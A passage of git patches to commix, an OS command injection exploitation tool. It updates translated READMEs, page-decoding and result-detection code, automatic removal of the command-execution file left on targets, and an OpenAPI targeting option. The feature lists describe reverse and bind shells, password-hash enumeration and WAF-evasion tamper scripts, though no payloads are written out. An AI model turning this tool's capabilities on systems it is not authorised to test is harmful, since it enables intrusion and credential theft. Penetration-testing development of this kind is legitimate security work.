شبه‌یونیکس و ویندوز کار می‌کند - برای تفاوت بارها +[Windows and Unix-like targets at a glance](https://github.com/commixproject/commix/wiki/Techniques#windows-and-unix-like-targets-at-a-glance) +را ببینید. ## نصب و راه‌اندازی diff --git a/doc/translations/README-fr-FR.md b/doc/translations/README-fr-FR.md index 1290601176..37c3b59ea1 100644 --- a/doc/translations/README-fr-FR.md +++ b/doc/translations/README-fr-FR.md @@ -34,14 +34,16 @@ Vous pouvez consulter la [**collection de captures d'écran**](https://github.co ## Fonctionnalités -* **Cinq techniques d'injection** - classic (basée sur les résultats), boolean-based (à l'aveugle, en lisant la réponse sur la page), time-based (à l'aveugle), file-based (à l'aveugle, avec une variante tempfile-based pour les cibles à écriture restreinte) et out-of-band (OAST) via HTTP/S et DNS. +* **Cinq techniques d'injection** - results-based (classic), boolean-based (à l'aveugle, en lisant la réponse sur la page), time-based (à l'aveugle), file-based (à l'aveugle, avec une variante tempfile-based pour les cibles à écriture restreinte) et out-of-band (OAST) via HTTP/S et DNS. Choisies avec `--technique`, ou selon le type sous lequel elles sont rapportées avec `--type`. * **Injection de code** - `--eval` teste la chaîne que la cible évalue comme du code, en PHP ou Python, avec les quatre mêmes techniques. * **Large surface d'injection** - paramètres GET/POST, en-têtes HTTP, cookies et corps de requête JSON/XML, ainsi que le module `shellshock` pour les cibles CGI. * **Shells interactifs et post-exploitation** - un `os_shell` sur la cible, les modes intégrés `reverse_tcp` et `bind_tcp`, le transfert de fichiers (`download`/`upload`) via le shell établi, et l'énumération de l'utilisateur courant, du nom d'hôte, des privilèges, des informations système, des utilisateurs et des empreintes de mots de passe. Chaque découverte peut être prouvée à nouveau avec `--proof`, qui mène une expérience qui lui est propre et écrit la transcription à côté de la sortie de l'analyse. * **Contournement des filtres et des WAF** - Plusieurs scripts de falsification (tamper) combinables, appliqués dans un ordre déterministe. * **Ciblage flexible** - une URL unique, une exploration du site, des formulaires HTML, un sitemap, un journal de proxy, un fichier de cibles multiples, un fichier de requête HTTP brute ou une entrée `stdin`. * **Analyses reprenables et sortie exploitable par machine** - les résultats sont stockés par cible dans un fichier de session et peuvent être exportés en JSON, sous forme de CSV couvrant toutes les cibles testées, ou sous forme de journal HAR du trafic HTTP de l'analyse. Les options fournies à une analyse peuvent être enregistrées comme profil et réutilisées. -* **Large prise en charge des back-ends** - PHP, Python, Perl, Ruby, ASP.NET, JSP et CGI. +* **Large prise en charge des back-ends** - PHP, Python, Perl, Ruby, ASP.NET, JSP et CGI, et fonctionne aussi bien contre des cibles de type Unix que Windows - voir +[Windows and Unix-like targets at a glance](https://github.com/commixproject/commix/wiki/Techniques#windows-and-unix-like-targets-at-a-glance) +pour la façon dont les charges utiles diffèrent. ## Installation diff --git a/doc/translations/README-idn-IDN.md b/doc/translations/README-idn-IDN.md index bc7311b6b0..dfc57197c9 100644 --- a/doc/translations/README-idn-IDN.md +++ b/doc/translations/README-idn-IDN.md @@ -34,14 +34,16 @@ Anda dapat mengunjungi [koleksi dari tangkapan layar](https://github.com/commixp ## Fitur -* **Lima teknik injeksi** - classic (berbasis hasil), boolean-based (buta, membaca jawabannya dari halaman), time-based (buta), file-based (buta, dengan varian tempfile-based untuk target yang terbatas hak tulisnya) dan out-of-band (OAST) melalui HTTP/S dan DNS. +* **Lima teknik injeksi** - results-based (classic), boolean-based (buta, membaca jawabannya dari halaman), time-based (buta), file-based (buta, dengan varian tempfile-based untuk target yang terbatas hak tulisnya) dan out-of-band (OAST) melalui HTTP/S dan DNS. Dipilih dengan `--technique`, atau berdasarkan tipe yang mereka laporkan dengan `--type`. * **Injeksi kode** - `--eval` menguji string yang dievaluasi target sebagai kode, dalam PHP atau Python, dengan empat teknik yang sama. * **Permukaan injeksi yang luas** - parameter GET/POST, header HTTP, cookie, dan body permintaan JSON/XML, serta modul `shellshock` untuk target CGI. * **Shell interaktif dan pasca-eksploitasi** - `os_shell` pada target, mode bawaan `reverse_tcp` dan `bind_tcp`, transfer berkas (`download`/`upload`) melalui shell yang telah terbentuk, serta enumerasi pengguna saat ini, nama host, hak akses, informasi sistem, daftar pengguna dan hash kata sandi. Setiap temuan dapat dibuktikan kembali dengan `--proof`, yang menjalankan percobaannya sendiri dan menulis transkripnya di samping keluaran pemindaian. * **Pengelakan filter dan WAF** - Beberapa skrip tamper yang dapat dikombinasikan, diterapkan dalam urutan yang deterministik. * **Penentuan target yang fleksibel** - satu URL, penelusuran situs, formulir HTML, sitemap, log proxy, berkas berisi banyak target, berkas permintaan HTTP mentah, atau masukan `stdin`. * **Pemindaian yang dapat dilanjutkan dan keluaran terbaca mesin** - hasil disimpan per target dalam berkas sesi dan dapat diekspor sebagai JSON, sebagai CSV yang mencakup setiap target yang diuji, atau sebagai catatan HAR dari lalu lintas HTTP pemindaian. Opsi yang digunakan sebuah pemindaian dapat disimpan sebagai profil dan digunakan kembali. -* **Dukungan back-end yang luas** - PHP, Python, Perl, Ruby, ASP.NET, JSP dan CGI. +* **Dukungan back-end yang luas** - PHP, Python, Perl, Ruby, ASP.NET, JSP dan CGI, serta bekerja terhadap target Unix maupun Windows - lihat +[Windows and Unix-like targets at a glance](https://github.com/commixproject/commix/wiki/Techniques#windows-and-unix-like-targets-at-a-glance) +untuk perbedaan muatannya. ## Instalasi diff --git a/doc/translations/README-tr-TR.md b/doc/translations/README-tr-TR.md index 1820d3d207..917093ef9a 100644 --- a/doc/translations/README-tr-TR.md +++ b/doc/translations/README-tr-TR.md @@ -34,14 +34,15 @@ Wiki'deki bazı özellikleri gösteren [ekran görüntüleri koleksiyonunu](http ## Özellikler -* **Beş enjeksiyon tekniği** - classic (sonuç tabanlı), boolean-based (kör, yanıtı sayfadan okuyarak), time-based (kör), file-based (kör, yazma kısıtlı hedefler için tempfile-based varyantıyla birlikte) ve HTTP/S ile DNS üzerinden out-of-band (OAST). +* **Beş enjeksiyon tekniği** - results-based (classic), boolean-based (kör, yanıtı sayfadan okuyarak), time-based (kör), file-based (kör, yazma kısıtlı hedefler için tempfile-based varyantıyla birlikte) ve HTTP/S ile DNS üzerinden out-of-band (OAST). `--technique` ile ya da `--type` ile bildirildikleri türe göre seçilir. * **Kod enjeksiyonu** - `--eval`, hedefin kod olarak değerlendirdiği dizgeyi PHP veya Python olarak, aynı dört teknikle sınar. * **Geniş enjeksiyon yüzeyi** - GET/POST parametreleri, HTTP başlıkları, çerezler ve JSON/XML istek gövdeleri; ayrıca CGI hedefleri için `shellshock` modülü. * **Etkileşimli kabuklar ve sömürü sonrası** - hedef üzerinde `os_shell`, yerleşik `reverse_tcp` ve `bind_tcp` modları, kurulan kabuk üzerinden dosya aktarımı (`download`/`upload`) ve geçerli kullanıcı, makine adı, yetkiler, sistem bilgileri, kullanıcılar ile parola özetlerinin numaralandırılması. Her bulgu `--proof` ile yeniden kanıtlanabilir; bu, kendi deneyini çalıştırır ve dökümü taramanın diğer çıktılarının yanına yazar. * **Filtre ve WAF atlatma** - birlikte kullanılabilen çok sayıda tamper betiği, belirlenimci bir sırayla uygulanır. * **Esnek hedefleme** - tek bir URL, site taraması, HTML formları, sitemap, proxy günlüğü, çoklu hedef dosyası, ham HTTP istek dosyası veya `stdin` girdisi. * **Kaldığı yerden devam eden taramalar ve makine tarafından okunabilir çıktı** - sonuçlar hedef bazında bir oturum dosyasında saklanır ve JSON olarak, test edilen her hedefi kapsayan bir CSV olarak veya taramanın HTTP trafiğinin HAR kaydı olarak dışa aktarılabilir. Bir taramanın çalıştırıldığı seçenekler profil olarak kaydedilip yeniden kullanılabilir. -* **Geniş arka uç desteği** - PHP, Python, Perl, Ruby, ASP.NET, JSP ve CGI. +* **Geniş arka uç desteği** - PHP, Python, Perl, Ruby, ASP.NET, JSP ve CGI; hem Unix benzeri hem de Windows hedeflerine karşı çalışır - yüklerin nasıl farklılaştığı için bkz. +[Windows and Unix-like targets at a glance](https://github.com/commixproject/commix/wiki/Techniques#windows-and-unix-like-targets-at-a-glance). ## Kurulum From 979ddef9b2e87d3ea437064f8c98c0a724a90754 Mon Sep 17 00:00:00 2001 From: stasinopoulos <an.stasinopoulos@gmail.com> Date: Tue, 29 Sep 2026 06:29:24 +0300 Subject: [PATCH 0840/1023] Various fixes, improvements, and updates --- src/core/controller/checks.py | 38 +++++++++++++++++++++++++++------- src/core/controller/handler.py | 19 ++++++++--------- src/core/parse/cmdline.py | 8 +------ src/core/requests/requests.py | 11 +++++++++- src/utils/crawler.py | 14 +++++++++++++ src/utils/settings.py | 2 +- 6 files changed, 65 insertions(+), 27 deletions(-) diff --git a/src/core/controller/checks.py b/src/core/controller/checks.py index 399ef5ac5d..6c0cd9b6f9 100755 --- a/src/core/controller/checks.py +++ b/src/core/controller/checks.py @@ -1119,7 +1119,7 @@ def heuristic_charset(page): except Exception: return None -def decode_page_body(body, response=None, percent_decode=True): +def decode_page_body(body, response=None, percent_decode=True, entity_decode=True): """ A page already read from its response, as text: decompressed if it was compressed, and read in the encoding it declares. @@ -1164,12 +1164,13 @@ def decode_page_body(body, response=None, percent_decode=True): for would be searched for in text the target never sent. """ if isinstance(body, bytes) and "text/" in content_type: - if b"&#" in body: + if entity_decode and b"&#" in body: body = re.sub(b"(?i)&#x([0-9a-f]{1,2});", lambda _: codecs.decode(_.group(1) if len(_.group(1)) == 2 else b"0" + _.group(1), "hex"), body) body = re.sub(b"&#(\\d{1,3});", lambda _: bytes(bytearray([int(_.group(1))])) if int(_.group(1)) < 256 else _.group(0), body) if percent_decode and b"%" in body: body = re.sub(b"(?i)%([0-9a-f]{2})", lambda _: codecs.decode(_.group(1), "hex"), body) - body = re.sub(b"&([^;]+);", lambda _: bytes(bytearray([settings.HTML_ENTITIES[_.group(1).decode("ascii", errors="replace")]])) if settings.HTML_ENTITIES.get(_.group(1).decode("ascii", errors="replace"), 256) < 256 else _.group(0), body) + if entity_decode: + body = re.sub(b"&([^;]+);", lambda _: bytes(bytearray([settings.HTML_ENTITIES[_.group(1).decode("ascii", errors="replace")]])) if settings.HTML_ENTITIES.get(_.group(1).decode("ascii", errors="replace"), 256) < 256 else _.group(0), body) page_encoding = page_encoding or heuristic_charset(body) if (page_encoding or "").lower() == "utf-8-sig": page_encoding = "utf-8" @@ -4037,9 +4038,31 @@ def lines(page): def words(page): return set(filtered_page_content(page).split()) - def usable(candidate, page, other): + """ + Where the two answers actually part company, as spans of each page. + + A page is not only its answer: a run that took a moment longer, a counter, a length printed in a + corner will all differ between two requests without saying anything about what was asked. Text is + only worth quoting when it sits where the answer changed, so a candidate has to overlap one of + these to count - otherwise the page's own furniture can stand in for the answer and be offered as + the way to recognise it. + """ + opcodes = [_ for _ in difflib.SequenceMatcher(None, false_raw, true_raw).get_opcodes() if _[0] != "equal"] + changed_true = [(j1, j2) for _, _, _, j1, j2 in opcodes] + changed_false = [(i1, i2) for _, i1, i2, _, _ in opcodes] + + def overlaps_change(candidate, page, regions): + at = page.find(candidate) + while at != -1: + if any(at < high and low < at + len(candidate) for low, high in regions): + return True + at = page.find(candidate, at + 1) + return False + + def usable(candidate, page, other, regions): candidate = candidate.strip() - return candidate and candidate in page and candidate not in other + return (candidate and candidate in page and candidate not in other + and overlaps_change(candidate, page, regions)) # A sentence first, being the one worth reading back; then a single word. for pattern, sentence, extract in ((r"\A[\w.,! ]+\Z", True, lines), (r"\A\w{2,}\Z", False, words)): @@ -4049,11 +4072,11 @@ def usable(candidate, page, other): continue if sentence and not (settings.SINGLE_WHITESPACE in candidate and len(candidate) > settings.CANDIDATE_SENTENCE_MIN_LENGTH): continue - if usable(candidate, true_raw, false_raw): + if usable(candidate, true_raw, false_raw, changed_true): return "--string=" + quoted_value(candidate) for candidate in sorted((_.strip() for _ in words(false_raw) - words(true_raw) if _.strip()), key=len): - if re.match(r"\A\w+\Z", candidate) and usable(candidate, false_raw, true_raw): + if re.match(r"\A\w+\Z", candidate) and usable(candidate, false_raw, true_raw, changed_false): return "--not-string=" + quoted_value(candidate) """ @@ -4063,7 +4086,6 @@ def usable(candidate, page, other): which of them it rendered - so the tag around the difference is the difference, and quoting it is what makes the answer nameable at all. """ - opcodes = [_ for _ in difflib.SequenceMatcher(None, false_raw, true_raw).get_opcodes() if _[0] != "equal"] for option, page, other, on_true in (("--string", true_raw, false_raw, True), ("--not-string", false_raw, true_raw, False)): for _, i1, i2, j1, j2 in opcodes: diff --git a/src/core/controller/handler.py b/src/core/controller/handler.py index 920db7b5e3..c5effe8a54 100755 --- a/src/core/controller/handler.py +++ b/src/core/controller/handler.py @@ -197,16 +197,15 @@ def delete_previous_shell(separator, TAG, prefix, suffix, whitespace, http_reque info_msg = "The file ('" + OUTPUT_TEXTFILE + "') used for command execution was already deleted from the target." settings.print_data_to_stdout(settings.print_info_msg(info_msg)) return - # '--cleanup' is the answer already given: the file goes without being asked about. - if not menu.options.cleanup: - # Left behind, the file is a working command channel for whoever finds it next - so the - # answer that tidies up is the one offered, and '--batch' takes it. - msg = "Do you want to delete from the target the file ('" + OUTPUT_TEXTFILE + "') used for command execution? [Y/n] " - if common.read_input(msg, default="Y", check_batch=True) not in settings.CHOICE_YES: - return - if settings.VERBOSITY_LEVEL != 0: - debug_msg = "Cleaning up the target operating system (i.e. deleting file '" + OUTPUT_TEXTFILE + "')." - settings.print_data_to_stdout(settings.print_debug_msg(debug_msg)) + """ + Removed without being asked about. + + The file is a working command channel for whoever finds it next, and leaving one behind on a + target is not something to make the operator opt out of - so what the run put there, the run + takes away. + """ + info_msg = "Cleaning up the file ('" + OUTPUT_TEXTFILE + "') used for command execution." + settings.print_data_to_stdout(settings.print_info_msg(info_msg)) from src.core.techniques.file_based import fb_injector as injector if technique == settings.INJECTION_TECHNIQUE.FILE_BASED: if settings.TARGET_OS == settings.OS.WINDOWS: diff --git a/src/core/parse/cmdline.py b/src/core/parse/cmdline.py index 4989b6f62d..b4f4e44bd0 100755 --- a/src/core/parse/cmdline.py +++ b/src/core/parse/cmdline.py @@ -820,7 +820,7 @@ def banner(): type="int", dest="maxlen", default=settings.MAXLEN, - help="Set the max length of output for time-related injection techniques (Default: " + str(settings.MAXLEN) + " chars).") + help="Set the max length of output for the techniques that retrieve it one character at a time (Default: " + str(settings.MAXLEN) + " chars).") injection.add_option("--time-sec", default=0, @@ -1003,12 +1003,6 @@ def banner(): default=False, help="Disable logging to a file.") -misc.add_option("--cleanup", - action="store_true", - dest="cleanup", - default=False, - help="Clean up the target from files commix left on it.") - misc.add_option("--purge", action="store_true", dest="purge", diff --git a/src/core/requests/requests.py b/src/core/requests/requests.py index fc13ab0d8e..3f3b9871e6 100755 --- a/src/core/requests/requests.py +++ b/src/core/requests/requests.py @@ -732,7 +732,16 @@ def retry_on_undesired_content(request, response): body = response.read() except Exception: return response - content = checks.decode_page_body(body, response) + """ + Matched against the answer as the target sent it, undecoded. + + Every other reader of a page wants it decoded, so that output the target wrote as entities is + still found - but this pattern is written against what the response looks like, and decoding + would let a page that merely mentions the pattern in escaped form match every time. A page + documenting its own '--retry-on' value would then be retried until the budget was gone, on the + answers that carried the result as much as on the ones that refused. + """ + content = checks.decode_page_body(body, response, percent_decode=False, entity_decode=False) # Bounded by the retries the run was given, not by the budget the connection layer keeps # raising as requests are spent: a page that always asks to be retried would otherwise be # asked again for as long as the run lasts. diff --git a/src/utils/crawler.py b/src/utils/crawler.py index 7a3ad7c769..82de98f6eb 100644 --- a/src/utils/crawler.py +++ b/src/utils/crawler.py @@ -25,6 +25,20 @@ from src.thirdparty.beautifulsoup.beautifulsoup import BeautifulSoup +""" +Empty at import, and emptied again before each crawl. + +A run that reaches these without having crawled - a sitemap handed in on its own, which never starts +a crawl - would otherwise find them missing rather than empty, and fail on the name instead of +reporting that there was nothing usable in it. +""" +crawled_hrefs = [] +sitemap_loc = [] +visited_sitemaps = [] +visited_hrefs = [] +new_crawled_hrefs = [] +crawled_forms = [] + # Clear what the last crawl left behind, so this one starts from nothing. def init_global_vars(): global crawled_hrefs diff --git a/src/utils/settings.py b/src/utils/settings.py index 135c32b087..cdd3991c78 100755 --- a/src/utils/settings.py +++ b/src/utils/settings.py @@ -382,7 +382,7 @@ def sys_argv_errors(): DESCRIPTION_FULL = "Automated All-in-One OS Command Injection Exploitation Tool" AUTHOR = "Anastasios Stasinopoulos" VERSION_NUM = "4.2" -REVISION = "171" +REVISION = "172" STABLE_RELEASE = False VERSION = "v" if STABLE_RELEASE: From 9f7dfee0024bebdecc0156e3b4f617bcd543d487 Mon Sep 17 00:00:00 2001 From: stasinopoulos <an.stasinopoulos@gmail.com> Date: Wed, 30 Sep 2026 06:24:30 +0300 Subject: [PATCH 0841/1023] Added new option `--openapi` for deriving targets from an OpenAPI (Swagger) description, with `--openapi-base` for a specification that names no host of its own and `--openapi-tags` for taking only part of a large API --- README.md | 2 +- doc/CHANGELOG.md | 1 + doc/translations/README-es-ES.md | 2 +- doc/translations/README-fa-FA.md | 2 +- doc/translations/README-fr-FR.md | 2 +- doc/translations/README-gr-GR.md | 2 +- doc/translations/README-idn-IDN.md | 2 +- doc/translations/README-tr-TR.md | 2 +- src/core/controller/checks.py | 5 + src/core/controller/controller.py | 2 +- src/core/main.py | 7 +- src/core/modules/shellshock/shellshock.py | 1 - src/core/options.py | 12 +- src/core/parse/cmdline.py | 18 + src/core/parse/openapi.py | 523 ++++++++++++++++++ src/core/requests/authentication.py | 1 - src/core/requests/mining.py | 2 - src/core/startup.py | 3 +- .../techniques/boolean_based/bb_injector.py | 1 - .../techniques/boolean_based/bb_payloads.py | 2 - src/utils/settings.py | 17 +- 21 files changed, 588 insertions(+), 21 deletions(-) create mode 100644 src/core/parse/openapi.py diff --git a/README.md b/README.md index 12a27afa5a..1f3a2f86b7 100644 --- a/README.md +++ b/README.md @@ -38,7 +38,7 @@ You can visit the [collection of screenshots](https://github.com/commixproject/c * **Broad injection surface** - GET/POST parameters, HTTP headers, cookies, and JSON/XML request bodies, plus the `shellshock` module for CGI targets. * **Interactive shells and post-exploitation** - an `os_shell` on the target, built-in `reverse_tcp` and `bind_tcp` modes, file `download`/`upload` over the established shell, and enumeration of the current user, hostname, privileges, system information, users and password hashes. Every finding can be re-proved with `--proof`, which runs an experiment of its own and writes the transcript beside the run's output. * **Filter and WAF evasion** - Multiple combinable tamper scripts, applied in a deterministic order. -* **Flexible targeting** - a single URL, a crawl, HTML forms, a sitemap, a proxy log, a bulk file, a raw HTTP request file, or piped `stdin`. +* **Flexible targeting** - a single URL, a crawl, HTML forms, a sitemap, an OpenAPI (Swagger) description, a proxy log, a bulk file, a raw HTTP request file, or piped `stdin`. * **Resumable scans and machine-readable output** - results are stored per target in a session file, and can be exported as JSON, as a CSV covering every target tested, or as a HAR log of the run's HTTP traffic. The options a run was given can be saved as a profile and reused. * **Wide back-end support** - PHP, Python, Perl, Ruby, ASP.NET, JSP and CGI, and works against both Unix-like and Windows targets - see [Windows and Unix-like targets at a glance](https://github.com/commixproject/commix/wiki/Techniques#windows-and-unix-like-targets-at-a-glance) diff --git a/doc/CHANGELOG.md b/doc/CHANGELOG.md index fd54b0cd36..aafc6a91fe 100755 --- a/doc/CHANGELOG.md +++ b/doc/CHANGELOG.md @@ -1,4 +1,5 @@ ## Version 4.2 (TBA) +* Added: New option `--openapi` for deriving targets from an OpenAPI (Swagger) description, with `--openapi-base` for a specification that names no host of its own and `--openapi-tags` for taking only part of a large API. * Added: New boolean-based blind injection technique, reading its answer off the page rather than off a delay, with `--string`, `--not-string`, `--regexp` and `--code` for saying what a true answer looks like. * Added: New switches `--mine-params` and `--mine-endpoints` for finding the parameters a target reads but names nowhere, and the endpoints only its own scripts name. * Added: New tamper script `phpserverheaders.py` that moves the function and the command out of the payload and into HTTP headers it reads back through `$_SERVER`. diff --git a/doc/translations/README-es-ES.md b/doc/translations/README-es-ES.md index 290ee8c2ad..8afd917d95 100644 --- a/doc/translations/README-es-ES.md +++ b/doc/translations/README-es-ES.md @@ -39,7 +39,7 @@ Puede visitar la **[colección de capturas de pantalla](https://github.com/commi * **Amplia superficie de inyección** - parámetros GET/POST, cabeceras HTTP, cookies y cuerpos de petición JSON/XML, además del módulo `shellshock` para objetivos CGI. * **Shells interactivas y post-explotación** - una `os_shell` en el objetivo, los modos integrados `reverse_tcp` y `bind_tcp`, transferencia de archivos (`download`/`upload`) a través de la shell establecida, y enumeración del usuario actual, nombre del host, privilegios, información del sistema, usuarios y hashes de contraseñas. Cada hallazgo puede volver a demostrarse con `--proof`, que ejecuta un experimento propio y escribe la transcripción junto a la salida del análisis. * **Evasión de filtros y WAF** - Múltiples scripts de manipulación (tamper) combinables, aplicados en un orden determinista. -* **Objetivos flexibles** - una única URL, un rastreo del sitio, formularios HTML, un sitemap, un registro de proxy, un archivo con varios objetivos, un archivo con una petición HTTP en bruto o entrada por `stdin`. +* **Objetivos flexibles** - una única URL, un rastreo del sitio, formularios HTML, un sitemap, una descripción OpenAPI (Swagger), un registro de proxy, un archivo con varios objetivos, un archivo con una petición HTTP en bruto o entrada por `stdin`. * **Análisis reanudables y salida legible por máquina** - los resultados se almacenan por objetivo en un archivo de sesión y pueden exportarse como JSON, como un CSV que abarca todos los objetivos analizados, o como un registro HAR del tráfico HTTP del análisis. Las opciones con las que se ejecutó un análisis pueden guardarse como perfil y reutilizarse. * **Amplio soporte de back-end** - PHP, Python, Perl, Ruby, ASP.NET, JSP y CGI, y funciona tanto contra objetivos tipo Unix como Windows - consulte [Windows and Unix-like targets at a glance](https://github.com/commixproject/commix/wiki/Techniques#windows-and-unix-like-targets-at-a-glance) diff --git a/doc/translations/README-fa-FA.md b/doc/translations/README-fa-FA.md index 687dd0e3fa..a93d8ebf47 100644 --- a/doc/translations/README-fa-FA.md +++ b/doc/translations/README-fa-FA.md @@ -38,7 +38,7 @@ * **سطح تزریق گسترده** - پارامترهای GET/POST، سرآیندهای HTTP، کوکی‌ها و بدنه درخواست‌های JSON/XML، به‌علاوه ماژول `shellshock` برای هدف‌های CGI. * **پوسته‌های تعاملی و پس از بهره‌برداری** - یک `os_shell` روی هدف، حالت‌های داخلی `reverse_tcp` و `bind_tcp`، انتقال فایل (`download`/`upload`) از طریق پوسته برقرارشده، و شمارش کاربر جاری، نام میزبان، سطوح دسترسی، اطلاعات سیستم، کاربران و درهم‌سازی گذرواژه‌ها. هر یافته را می‌توان با `--proof` دوباره اثبات کرد، که آزمایشی از آنِ خود اجرا می‌کند و رونوشت آن را کنار خروجی اجرا می‌نویسد. * **دور زدن فیلترها و WAF** - چندین اسکریپت tamper قابل ترکیب، که با ترتیبی قطعی اعمال می‌شوند. -* **هدف‌گذاری انعطاف‌پذیر** - یک URL، پویش سایت، فرم‌های HTML، sitemap، گزارش پروکسی، فایل چندهدفی، فایل درخواست خام HTTP یا ورودی `stdin`. +* **هدف‌گذاری انعطاف‌پذیر** - یک URL، پویش سایت، فرم‌های HTML، sitemap، توصیف OpenAPI (Swagger)، گزارش پروکسی، فایل چندهدفی، فایل درخواست خام HTTP یا ورودی `stdin`. * **پویش‌های قابل ازسرگیری و خروجی ماشین‌خوان** - نتایج به تفکیک هدف در یک فایل نشست ذخیره می‌شوند و می‌توان آن‌ها را به‌صورت JSON، به‌صورت یک CSV دربرگیرندهٔ همهٔ هدف‌های آزموده‌شده، یا به‌صورت یک گزارش HAR از ترافیک HTTP اجرا خروجی گرفت. گزینه‌هایی که یک اجرا با آن‌ها انجام شده است را می‌توان به‌عنوان نمایه ذخیره و دوباره استفاده کرد. * **پشتیبانی گسترده از بک‌اند** - PHP، Python، Perl، Ruby، ASP.NET، JSP و CGI، و روی هدف‌های شبه‌یونیکس و ویندوز کار می‌کند - برای تفاوت بارها [Windows and Unix-like targets at a glance](https://github.com/commixproject/commix/wiki/Techniques#windows-and-unix-like-targets-at-a-glance) diff --git a/doc/translations/README-fr-FR.md b/doc/translations/README-fr-FR.md index 37c3b59ea1..b15b1932a9 100644 --- a/doc/translations/README-fr-FR.md +++ b/doc/translations/README-fr-FR.md @@ -39,7 +39,7 @@ Vous pouvez consulter la [**collection de captures d'écran**](https://github.co * **Large surface d'injection** - paramètres GET/POST, en-têtes HTTP, cookies et corps de requête JSON/XML, ainsi que le module `shellshock` pour les cibles CGI. * **Shells interactifs et post-exploitation** - un `os_shell` sur la cible, les modes intégrés `reverse_tcp` et `bind_tcp`, le transfert de fichiers (`download`/`upload`) via le shell établi, et l'énumération de l'utilisateur courant, du nom d'hôte, des privilèges, des informations système, des utilisateurs et des empreintes de mots de passe. Chaque découverte peut être prouvée à nouveau avec `--proof`, qui mène une expérience qui lui est propre et écrit la transcription à côté de la sortie de l'analyse. * **Contournement des filtres et des WAF** - Plusieurs scripts de falsification (tamper) combinables, appliqués dans un ordre déterministe. -* **Ciblage flexible** - une URL unique, une exploration du site, des formulaires HTML, un sitemap, un journal de proxy, un fichier de cibles multiples, un fichier de requête HTTP brute ou une entrée `stdin`. +* **Ciblage flexible** - une URL unique, une exploration du site, des formulaires HTML, un sitemap, une description OpenAPI (Swagger), un journal de proxy, un fichier de cibles multiples, un fichier de requête HTTP brute ou une entrée `stdin`. * **Analyses reprenables et sortie exploitable par machine** - les résultats sont stockés par cible dans un fichier de session et peuvent être exportés en JSON, sous forme de CSV couvrant toutes les cibles testées, ou sous forme de journal HAR du trafic HTTP de l'analyse. Les options fournies à une analyse peuvent être enregistrées comme profil et réutilisées. * **Large prise en charge des back-ends** - PHP, Python, Perl, Ruby, ASP.NET, JSP et CGI, et fonctionne aussi bien contre des cibles de type Unix que Windows - voir [Windows and Unix-like targets at a glance](https://github.com/commixproject/commix/wiki/Techniques#windows-and-unix-like-targets-at-a-glance) diff --git a/doc/translations/README-gr-GR.md b/doc/translations/README-gr-GR.md index e48c9cb557..e23164cc9f 100644 --- a/doc/translations/README-gr-GR.md +++ b/doc/translations/README-gr-GR.md @@ -38,7 +38,7 @@ To **commix** (συντομογραφία [**comm**]and [**i**]njection e[**x**] * **Ευρεία κάλυψη injection επιφανειών** – GET/POST parameters, HTTP headers, cookies και JSON/XML request bodies, καθώς και το `shellshock` module για CGI targets. * **Interactive shells και post-exploitation** – `os_shell` στο target, ενσωματωμένα modes `reverse_tcp` και `bind_tcp`, `download`/`upload` αρχείων μέσω του established shell, καθώς και enumeration για current user, hostname, privileges, system information, users και password hashes. Κάθε εύρημα μπορεί να επαληθευτεί εκ νέου με το `--proof`, το οποίο εκτελεί δικό του πείραμα και αποθηκεύει το transcript δίπλα στο output του run. * **Filter και WAF evasion** – πολλαπλά συνδυάσιμα tamper scripts, τα οποία εφαρμόζονται με deterministic σειρά. -* **Ευέλικτο targeting** – υποστήριξη για single URL, crawl, HTML forms, sitemap, proxy log, bulk file, raw HTTP request file ή δεδομένα μέσω piped `stdin`. +* **Ευέλικτο targeting** – υποστήριξη για single URL, crawl, HTML forms, sitemap, OpenAPI (Swagger) description, proxy log, bulk file, raw HTTP request file ή δεδομένα μέσω piped `stdin`. * **Resumable scans και machine-readable output** – τα αποτελέσματα αποθηκεύονται ανά target σε session file και μπορούν να εξαχθούν σε JSON, CSV που περιλαμβάνει όλα τα tested targets ή HAR log με το HTTP traffic του run. Οι επιλογές ενός run μπορούν επίσης να αποθηκευτούν ως profile και να επαναχρησιμοποιηθούν. * **Ευρεία υποστήριξη back-ends** – PHP, Python, Perl, Ruby, ASP.NET, JSP και CGI, με υποστήριξη τόσο για Unix-like όσο και για Windows targets. Δείτε το [Windows and Unix-like targets at a glance](https://github.com/commixproject/commix/wiki/Techniques#windows-and-unix-like-targets-at-a-glance) για τις διαφορές στα payloads. diff --git a/doc/translations/README-idn-IDN.md b/doc/translations/README-idn-IDN.md index dfc57197c9..24431d2a41 100644 --- a/doc/translations/README-idn-IDN.md +++ b/doc/translations/README-idn-IDN.md @@ -39,7 +39,7 @@ Anda dapat mengunjungi [koleksi dari tangkapan layar](https://github.com/commixp * **Permukaan injeksi yang luas** - parameter GET/POST, header HTTP, cookie, dan body permintaan JSON/XML, serta modul `shellshock` untuk target CGI. * **Shell interaktif dan pasca-eksploitasi** - `os_shell` pada target, mode bawaan `reverse_tcp` dan `bind_tcp`, transfer berkas (`download`/`upload`) melalui shell yang telah terbentuk, serta enumerasi pengguna saat ini, nama host, hak akses, informasi sistem, daftar pengguna dan hash kata sandi. Setiap temuan dapat dibuktikan kembali dengan `--proof`, yang menjalankan percobaannya sendiri dan menulis transkripnya di samping keluaran pemindaian. * **Pengelakan filter dan WAF** - Beberapa skrip tamper yang dapat dikombinasikan, diterapkan dalam urutan yang deterministik. -* **Penentuan target yang fleksibel** - satu URL, penelusuran situs, formulir HTML, sitemap, log proxy, berkas berisi banyak target, berkas permintaan HTTP mentah, atau masukan `stdin`. +* **Penentuan target yang fleksibel** - satu URL, penelusuran situs, formulir HTML, sitemap, deskripsi OpenAPI (Swagger), log proxy, berkas berisi banyak target, berkas permintaan HTTP mentah, atau masukan `stdin`. * **Pemindaian yang dapat dilanjutkan dan keluaran terbaca mesin** - hasil disimpan per target dalam berkas sesi dan dapat diekspor sebagai JSON, sebagai CSV yang mencakup setiap target yang diuji, atau sebagai catatan HAR dari lalu lintas HTTP pemindaian. Opsi yang digunakan sebuah pemindaian dapat disimpan sebagai profil dan digunakan kembali. * **Dukungan back-end yang luas** - PHP, Python, Perl, Ruby, ASP.NET, JSP dan CGI, serta bekerja terhadap target Unix maupun Windows - lihat [Windows and Unix-like targets at a glance](https://github.com/commixproject/commix/wiki/Techniques#windows-and-unix-like-targets-at-a-glance) diff --git a/doc/translations/README-tr-TR.md b/doc/translations/README-tr-TR.md index 917093ef9a..9a7a7c7c1e 100644 --- a/doc/translations/README-tr-TR.md +++ b/doc/translations/README-tr-TR.md @@ -39,7 +39,7 @@ Wiki'deki bazı özellikleri gösteren [ekran görüntüleri koleksiyonunu](http * **Geniş enjeksiyon 